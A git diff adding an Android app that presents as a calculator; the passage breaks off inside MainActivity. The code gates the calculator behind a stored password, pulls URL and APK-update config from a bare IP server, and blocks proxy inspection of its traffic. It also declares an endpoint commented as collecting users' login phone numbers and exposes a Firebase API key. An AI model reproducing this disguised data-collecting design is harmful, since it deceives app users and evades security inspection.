"mobilesdk_app_id": "1:213027534316:android:3497cf905b27a3b93ffcc9", + "android_client_info": { + "package_name": "winway.calculcator" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAl-Bxe3gkq2o6Fm_6F1GtPz3fPD0FfcLk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/winway/jiyoukey b/winway/jiyoukey new file mode 100644 index 0000000..8a2f436 Binary files /dev/null and b/winway/jiyoukey differ diff --git a/winway/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/winway/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/winway/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/winway/proguard-rules.pro b/winway/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/winway/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/winway/release/output-metadata.json b/winway/release/output-metadata.json new file mode 100644 index 0000000..1bd42ed --- /dev/null +++ b/winway/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "winway.calculcator", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 40, + "versionName": "3.2.0", + "outputFile": "winway-release.apk" + } + ] +} \ No newline at end of file diff --git a/winway/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/winway/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/winway/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/winway/src/main/AndroidManifest.xml b/winway/src/main/AndroidManifest.xml new file mode 100644 index 0000000..b5b2d7d --- /dev/null +++ b/winway/src/main/AndroidManifest.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/ActionConfirmDialog.java b/winway/src/main/java/winway/calculcator/ActionConfirmDialog.java new file mode 100644 index 0000000..14426f0 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package winway.calculcator; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/winway/src/main/java/winway/calculcator/Api.java b/winway/src/main/java/winway/calculcator/Api.java new file mode 100644 index 0000000..2657953 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/Api.java @@ -0,0 +1,68 @@ +package winway.calculcator; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/winway/src/main/java/winway/calculcator/ApiService.java b/winway/src/main/java/winway/calculcator/ApiService.java new file mode 100644 index 0000000..3fb232a --- /dev/null +++ b/winway/src/main/java/winway/calculcator/ApiService.java @@ -0,0 +1,38 @@ +package winway.calculcator; + + +import java.util.Map; + +import io.reactivex.Observable; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.POST; +import retrofit2.http.Query; + +public interface ApiService { + String URL = "http://8.218.177.7:18000/"; +// String VERSIONURL="http://download.2ltop.com/urlset4/"; // 没有计算器的 +// String VERSIONURL = "http://download.2ltop.com/urlset3/"; + + @GET("url.json") + Observable geUrl(@Query("rand") long rand); + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + + + + + /** + * 搜集登录手机号 + */ + @POST("https://api.liulao.top/app/loginUser") + Observable appLoginUser(@Body Map map); + + + +// @GET(VERSIONURL+"url.json") +// Observable getVersion(@Query("rand") long rand); + +} diff --git a/winway/src/main/java/winway/calculcator/BaseApi.java b/winway/src/main/java/winway/calculcator/BaseApi.java new file mode 100644 index 0000000..72260fa --- /dev/null +++ b/winway/src/main/java/winway/calculcator/BaseApi.java @@ -0,0 +1,46 @@ +package winway.calculcator; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/winway/src/main/java/winway/calculcator/BaseObserver.java b/winway/src/main/java/winway/calculcator/BaseObserver.java new file mode 100644 index 0000000..687118c --- /dev/null +++ b/winway/src/main/java/winway/calculcator/BaseObserver.java @@ -0,0 +1,112 @@ +package winway.calculcator; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; +import winway.calculcator.Result; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError(model.code, model.message); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + +} diff --git a/winway/src/main/java/winway/calculcator/CircleImageView.java b/winway/src/main/java/winway/calculcator/CircleImageView.java new file mode 100644 index 0000000..014c28c --- /dev/null +++ b/winway/src/main/java/winway/calculcator/CircleImageView.java @@ -0,0 +1,321 @@ +package winway.calculcator; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/winway/src/main/java/winway/calculcator/DataInfo.java b/winway/src/main/java/winway/calculcator/DataInfo.java new file mode 100644 index 0000000..1ac69b9 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/DataInfo.java @@ -0,0 +1,53 @@ +package winway.calculcator; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String versionCode; + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/winway/src/main/java/winway/calculcator/GsonUtils.java b/winway/src/main/java/winway/calculcator/GsonUtils.java new file mode 100644 index 0000000..d390ebe --- /dev/null +++ b/winway/src/main/java/winway/calculcator/GsonUtils.java @@ -0,0 +1,91 @@ +package winway.calculcator; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/winway/src/main/java/winway/calculcator/LogUtils.java b/winway/src/main/java/winway/calculcator/LogUtils.java new file mode 100644 index 0000000..154cba1 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/LogUtils.java @@ -0,0 +1,146 @@ +package winway.calculcator; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/MainActivity.java b/winway/src/main/java/winway/calculcator/MainActivity.java new file mode 100644 index 0000000..d94fcba --- /dev/null +++ b/winway/src/main/java/winway/calculcator/MainActivity.java @@ -0,0 +1,356 @@ +package winway.calculcator; + +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import org.w3c.dom.Text; + +import java.math.BigDecimal; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput=new StringBuilder(""); + private BigDecimal currentAnswer=new BigDecimal(0); + private boolean hasCount=false; + private TextView inputTextView,outputTextView; + private Button btn_0,btn_1,btn_2,btn_3,btn_4,btn_5,btn_6,btn_7,btn_8,btn_9, + btn_point,btn_equal,btn_add,btn_subtract,btn_multiply,btn_divide,btn_percent,btn_backspace,btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if(TextUtils.isEmpty(getString(MainActivity.this,"loc_pass",""))){ + startActivity(new Intent(this,StartActivity.class)); + finish(); + return; + } + +// if(getIntent().getBooleanExtra("isChange",false)){ +// toNextActivity(); +// }else{ +// findViewById(R.id.big_v).setVisibility(View.VISIBLE); +// } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener(){ + inputTextView = (TextView)findViewById(R.id.inputText); + outputTextView= (TextView)findViewById(R.id.outputText); + btn_0 = (Button)findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button)findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button)findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button)findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button)findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button)findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button)findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button)findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button)findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button)findViewById(R.id.btn_9); + 